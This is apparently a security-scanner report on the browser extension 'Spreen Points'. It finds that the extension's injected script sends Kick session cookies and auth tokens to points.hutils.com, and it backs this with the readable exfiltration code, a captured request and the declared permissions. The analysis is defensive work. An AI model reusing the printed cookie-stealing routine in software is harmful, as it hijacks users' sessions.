Is Spreen Points safe?

High risk

Spreen Points is high risk. When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com. Cookies go even with a Kick auth token present; testing confirmed this.

Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behavior. Flagged: Carre Points (critical).

75Risk
Who publishes it

h4x - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
h4x

Same store account

1 other listing published from this account, 2k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Kick cookies are sent in the Points WebSocket auth

When the injected page script opens the Points WebSocket, the auth routine builds a value from document.cookie plus kick_session and sends it to points.hutils.com.

Cookies go even with a Kick auth token present; testing confirmed this.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You navigate to a Kick page while Spreen Points is installed.

The extension's content script injects its page script on Kick pages.

The extension did this

The page script sends your cookie string and kick_session value in its WebSocket auth message.

If a Kick auth token exists, the same auth message includes both the token and cookies.

Captured request
GETwss://points.hutils.com/019201ab-e680-7898-b9eb-31c27e94455c

WebSocket upgrade observed; the auth data is sent as a WebSocket message after the connection opens.

Fields sent in the auth message
  • Browser cookie string
    nonce_crf=eyJhbGciOiJIUzI1NiJ9; theme=dark

    This can include cookies available to the Kick page, tying the auth message to your browser session on that site.

  • Kick session value
    kick_session=zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu

    This adds a Kick session identifier to the same outbound auth message.

  • Kick auth token
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYifQ.signature

    When the token is present, the message can be linked to an authenticated Kick context instead of only a page visit.

The code that does this

Auth routine includes cookies on both token and no-token paths

Readable version
function T() {  L = !1, ie();  const y = localStorage.getItem("t_oken"),    E = `${document.cookie}; kick_session=${v.value||"zcoDuOWMHrwz9u7b4oKmxC8tUaXacjSJqeBiKvFPQiuEa9W1CIYLu"}`;  O.send("auth", y ? {    token: y,    cookies: E  } : {    cookies: E  })}
The code that does this

The page script requests metadata before connecting when no token exists

Readable version
if (localStorage.getItem("t_oken")) return O.connect();n = setTimeout(() => {  console.log("[ERROR] Timeout getting backend message"), Z.error("Error de cliente obteniendo credenciales, aguarde..."), O.connect()}, 5e3), window.postMessage({  from: "w",  tracer: "getKickMetadata"});const V = await Hu();
Remote host receiving the auth message
    • points.hutils.com

    Receives the Spreen Points WebSocket auth message containing cookies and, when present, the Kick auth token.

What it can do

Permissions this extension asks for, as declared in version 1.2.04. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.3.4, which we have not unpacked yet.

  • Read and change your data on kick.com

    https://*.kick.com/*

  • Read and change your data on .kick.com

    https://.kick.com/

  • Read and change your data on twitch.tv

    https://*.twitch.tv/*

  • Read and change your data on points.hutils.com

    https://points.hutils.com/*

  • See the address and title of every tab you have open

    tabs

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Store data in your browser

    storage

  • Attach to pages with the browser's debugger, which can read and rewrite anything on them

    debugger

Updated 15 October 2026daahmonifbmmkhdfmkkpmgfkaniakmnf